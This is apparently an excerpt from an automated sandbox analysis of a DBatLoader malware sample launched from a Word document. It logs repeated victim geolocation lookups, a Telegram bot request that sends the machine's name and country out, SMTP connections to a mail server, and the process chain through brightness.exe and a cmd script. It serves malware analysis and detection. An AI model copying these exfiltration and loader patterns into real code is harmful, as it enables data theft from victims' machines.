                                                                                                                                                        2025-01-14 07:08:48 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        25192.168.2.452785104.21.16.14436036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:50 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:50 UTC863INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:50 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153319
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IEulUCf5tRUp%2FFFxhFMbGoxm39mmsWT47Nxaar%2BWb8ckCmw8Ph9%2BxklEWzaciXGLX7bxII%2FvwkOkcB8FR9UXVpTSSENpjPTzS%2BpUTFnSQQWOH%2B%2FFrrh6wh3ih0xzQPOvgN1LRQMX"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcc0ed96d1899-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1665&min_rtt=1663&rtt_var=628&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1737061&cwnd=153&unsent_bytes=0&cid=a80ec56d06886429&ts=135&x=0"
                                                                                                                                                        2025-01-14 07:08:50 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        26192.168.2.452787104.21.16.14436036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:51 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:51 UTC867INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:51 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153320
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FYFz1%2BhkH%2FUxzl4lBoSvE9vNobunLTtc46sz%2B6HuwqyV2C1HTfD55cY6Wg4tN%2FaLGBnL%2FiBWpp9vpSF3XOm3dq5y4T3%2BqAQE%2FaGLVxM%2FK%2F3sOUe8sScHZNh8kS5AFHzwHXzHgGXq"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcc17cdb71899-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1575&min_rtt=1567&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1784841&cwnd=153&unsent_bytes=0&cid=3bbbd757c585ce5c&ts=130&x=0"
                                                                                                                                                        2025-01-14 07:08:51 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        27192.168.2.452790104.21.16.14436036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:53 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:53 UTC855INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:53 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153322
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HSuvSzrBy5IfMlv5OjbzRoMCrdRGzg%2BbYT9MCPZBRETdO47mJpH6RtYXaL5OnePIP5PkGbW92z70P2XUvunYPesGBa8kmBQrHdy1E3uC%2FVtY0P8jUb5FMpJcbiAsDT%2BD5PdRiEzJ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcc20af6a7293-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1913&min_rtt=1909&rtt_var=725&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1501285&cwnd=158&unsent_bytes=0&cid=e0639cc79efe26fe&ts=138&x=0"
                                                                                                                                                        2025-01-14 07:08:53 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        28192.168.2.452792104.21.16.14436036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:54 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:54 UTC853INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:54 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153323
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1eWcrBYrVbAMw6mh6RHYkGWJ2iaP3eDkJxp4Kd6J6ogw6Bcp1pRA8ZjmE9ejZTtCl4H73IhDiOF9CLDzITsmwz0pTUK%2FhbbUMCFXOFQoBGkOH64M056UO7TqxazOToF3dlBo%2BptF"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcc29dccb4388-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1547&min_rtt=1540&rtt_var=591&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1828428&cwnd=221&unsent_bytes=0&cid=a2d29cc76385c24d&ts=149&x=0"
                                                                                                                                                        2025-01-14 07:08:54 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        29192.168.2.452795104.21.16.14436036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:56 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:56 UTC861INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:56 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153325
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sZE2bNGhlnQnmHAe48LPL%2BUjC%2BP0vzeK9qRib01aAhfSbv8g%2F2CQ0d44gve47ObQUDqcvPCJ1eyT5Pzv%2Bv84j%2B2NRnNqGHyv4csiVI6PHDZqmeS5Jbnj4p%2BVanIwWbH8udIAAWc3"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcc32dc250fa8-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1476&min_rtt=1469&rtt_var=566&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1907250&cwnd=252&unsent_bytes=0&cid=4aac1990477cb835&ts=152&x=0"
                                                                                                                                                        2025-01-14 07:08:56 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        30192.168.2.452796149.154.167.2204436036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:56 UTC349OUTGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2016:02:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
                                                                                                                                                        Host: api.telegram.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:57 UTC344INHTTP/1.1 404 Not Found
                                                                                                                                                        Server: nginx/1.18.0
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:57 GMT
                                                                                                                                                        Content-Type: application/json
                                                                                                                                                        Content-Length: 55
                                                                                                                                                        Connection: close
                                                                                                                                                        Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                        Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                        2025-01-14 07:08:57 UTC55INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d
                                                                                                                                                        Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}


                                                                                                                                                        SMTP Packets

                                                                                                                                                        TimestampSource PortDest PortSource IPDest IPCommands
                                                                                                                                                        Jan 14, 2025 08:08:46.929449081 CET5875277446.151.208.21192.168.2.4220 host.ibtikarat.net ESMTP Exim 4.98 Tue, 14 Jan 2025 10:08:44 +0300
                                                                                                                                                        Jan 14, 2025 08:08:46.929691076 CET52774587192.168.2.446.151.208.21EHLO 585948
                                                                                                                                                        Jan 14, 2025 08:08:47.224791050 CET5875277446.151.208.21192.168.2.4250-host.ibtikarat.net Hello 585948 [8.46.123.189]
                                                                                                                                                        250-SIZE 52428800
                                                                                                                                                        250-LIMITS MAILMAX=100 RCPTMAX=150
                                                                                                                                                        250-8BITMIME
                                                                                                                                                        250-PIPELINING
                                                                                                                                                        250-PIPECONNECT
                                                                                                                                                        250-AUTH PLAIN LOGIN
                                                                                                                                                        250-STARTTLS
                                                                                                                                                        250 HELP
                                                                                                                                                        Jan 14, 2025 08:08:47.227596998 CET52774587192.168.2.446.151.208.21STARTTLS
                                                                                                                                                        Jan 14, 2025 08:08:47.504028082 CET5875277446.151.208.21192.168.2.4220 TLS go ahead
                                                                                                                                                        Jan 14, 2025 08:08:53.802042007 CET5875278946.151.208.21192.168.2.4220 host.ibtikarat.net ESMTP Exim 4.98 Tue, 14 Jan 2025 10:08:51 +0300
                                                                                                                                                        Jan 14, 2025 08:08:53.802196026 CET52789587192.168.2.446.151.208.21EHLO 585948
                                                                                                                                                        Jan 14, 2025 08:08:54.092839956 CET5875278946.151.208.21192.168.2.4250-host.ibtikarat.net Hello 585948 [8.46.123.189]
                                                                                                                                                        250-SIZE 52428800
                                                                                                                                                        250-LIMITS MAILMAX=100 RCPTMAX=150
                                                                                                                                                        250-8BITMIME
                                                                                                                                                        250-PIPELINING
                                                                                                                                                        250-PIPECONNECT
                                                                                                                                                        250-AUTH PLAIN LOGIN
                                                                                                                                                        250-STARTTLS
                                                                                                                                                        250 HELP
                                                                                                                                                        Jan 14, 2025 08:08:54.093002081 CET52789587192.168.2.446.151.208.21STARTTLS
                                                                                                                                                        Jan 14, 2025 08:08:54.366542101 CET5875278946.151.208.21192.168.2.4220 TLS go ahead
                                                                                                                                                        Jan 14, 2025 08:08:56.076009989 CET5875279446.151.208.21192.168.2.4220 host.ibtikarat.net ESMTP Exim 4.98 Tue, 14 Jan 2025 10:08:54 +0300
                                                                                                                                                        Jan 14, 2025 08:08:56.076334000 CET52794587192.168.2.446.151.208.21EHLO 585948
                                                                                                                                                        Jan 14, 2025 08:08:56.375001907 CET5875279446.151.208.21192.168.2.4250-host.ibtikarat.net Hello 585948 [8.46.123.189]
                                                                                                                                                        250-SIZE 52428800
                                                                                                                                                        250-LIMITS MAILMAX=100 RCPTMAX=150
                                                                                                                                                        250-8BITMIME
                                                                                                                                                        250-PIPELINING
                                                                                                                                                        250-PIPECONNECT
                                                                                                                                                        250-AUTH PLAIN LOGIN
                                                                                                                                                        250-STARTTLS
                                                                                                                                                        250 HELP
                                                                                                                                                        Jan 14, 2025 08:08:56.375519991 CET52794587192.168.2.446.151.208.21STARTTLS
                                                                                                                                                        Jan 14, 2025 08:08:56.648066044 CET5875279446.151.208.21192.168.2.4220 TLS go ahead
                                                                                                                                                        Jan 14, 2025 08:09:02.700980902 CET5875281446.151.208.21192.168.2.4220 host.ibtikarat.net ESMTP Exim 4.98 Tue, 14 Jan 2025 10:09:00 +0300
                                                                                                                                                        Jan 14, 2025 08:09:02.701210022 CET52814587192.168.2.446.151.208.21EHLO 585948
                                                                                                                                                        Jan 14, 2025 08:09:02.995007992 CET5875281446.151.208.21192.168.2.4250-host.ibtikarat.net Hello 585948 [8.46.123.189]
                                                                                                                                                        250-SIZE 52428800
                                                                                                                                                        250-LIMITS MAILMAX=100 RCPTMAX=150
                                                                                                                                                        250-8BITMIME
                                                                                                                                                        250-PIPELINING
                                                                                                                                                        250-PIPECONNECT
                                                                                                                                                        250-AUTH PLAIN LOGIN
                                                                                                                                                        250-STARTTLS
                                                                                                                                                        250 HELP
                                                                                                                                                        Jan 14, 2025 08:09:02.995279074 CET52814587192.168.2.446.151.208.21STARTTLS
                                                                                                                                                        Jan 14, 2025 08:09:03.272272110 CET5875281446.151.208.21192.168.2.4220 TLS go ahead
                                                                                                                                                        Jan 14, 2025 08:09:04.458950996 CET5875283046.151.208.21192.168.2.4220 host.ibtikarat.net ESMTP Exim 4.98 Tue, 14 Jan 2025 10:09:02 +0300
                                                                                                                                                        Jan 14, 2025 08:09:04.459332943 CET52830587192.168.2.446.151.208.21EHLO 585948
                                                                                                                                                        Jan 14, 2025 08:09:04.761010885 CET5875283046.151.208.21192.168.2.4250-host.ibtikarat.net Hello 585948 [8.46.123.189]
                                                                                                                                                        250-SIZE 52428800
                                                                                                                                                        250-LIMITS MAILMAX=100 RCPTMAX=150
                                                                                                                                                        250-8BITMIME
                                                                                                                                                        250-PIPELINING
                                                                                                                                                        250-PIPECONNECT
                                                                                                                                                        250-AUTH PLAIN LOGIN
                                                                                                                                                        250-STARTTLS
                                                                                                                                                        250 HELP
                                                                                                                                                        Jan 14, 2025 08:09:04.761173010 CET52830587192.168.2.446.151.208.21STARTTLS
                                                                                                                                                        Jan 14, 2025 08:09:05.034001112 CET5875283046.151.208.21192.168.2.4220 TLS go ahead
                                                                                                                                                        Jan 14, 2025 08:09:10.523623943 CET5875286646.151.208.21192.168.2.4220 host.ibtikarat.net ESMTP Exim 4.98 Tue, 14 Jan 2025 10:09:08 +0300
                                                                                                                                                        Jan 14, 2025 08:09:10.523766041 CET52866587192.168.2.446.151.208.21EHLO 585948
                                                                                                                                                        Jan 14, 2025 08:09:10.830905914 CET5875286646.151.208.21192.168.2.4250-host.ibtikarat.net Hello 585948 [8.46.123.189]
                                                                                                                                                        250-SIZE 52428800
                                                                                                                                                        250-LIMITS MAILMAX=100 RCPTMAX=150
                                                                                                                                                        250-8BITMIME
                                                                                                                                                        250-PIPELINING
                                                                                                                                                        250-PIPECONNECT
                                                                                                                                                        250-AUTH PLAIN LOGIN
                                                                                                                                                        250-STARTTLS
                                                                                                                                                        250 HELP
                                                                                                                                                        Jan 14, 2025 08:09:10.831171036 CET52866587192.168.2.446.151.208.21STARTTLS
                                                                                                                                                        Jan 14, 2025 08:09:11.102493048 CET5875286646.151.208.21192.168.2.4220 TLS go ahead

                                                                                                                                                        Statistics

                                                                                                                                                        CPU Usage

                                                                                                                                                        Click to jump to process

                                                                                                                                                        Memory Usage

                                                                                                                                                        Click to jump to process

                                                                                                                                                        High Level Behavior Distribution

                                                                                                                                                        Click to dive into process behavior distribution

                                                                                                                                                        Behavior

                                                                                                                                                        Click to jump to process

                                                                                                                                                        System Behavior

                                                                                                                                                        General

                                                                                                                                                        Target ID:0
                                                                                                                                                        Start time:02:08:04
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
                                                                                                                                                        Imagebase:0x970000
                                                                                                                                                        File size:1'620'872 bytes
                                                                                                                                                        MD5 hash:1A0C2C2E7D9C4BC18E91604E9B0C7678
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high
                                                                                                                                                        Has exited:true

                                                                                                                                                        General

                                                                                                                                                        Target ID:4
                                                                                                                                                        Start time:02:08:11
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                        File size:1'443'328 bytes
                                                                                                                                                        MD5 hash:8D3E16CB3CE3940E87A322FBEEAB419F
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:Borland Delphi
                                                                                                                                                        Yara matches:
                                                                                                                                                        • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000004.00000002.1892098003.000000007FD70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000004.00000002.1863488781.0000000002274000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        Antivirus matches:
                                                                                                                                                        • Detection: 100%, Joe Sandbox ML
                                                                                                                                                        • Detection: 47%, ReversingLabs
                                                                                                                                                        Reputation:low
                                                                                                                                                        Has exited:true

                                                                                                                                                        General

                                                                                                                                                        Target ID:5
                                                                                                                                                        Start time:02:08:15
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\Public\NsltarpnF.cmd" "
                                                                                                                                                        Imagebase:0x240000
                                                                                                                                                        File size:236'544 bytes
                                                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
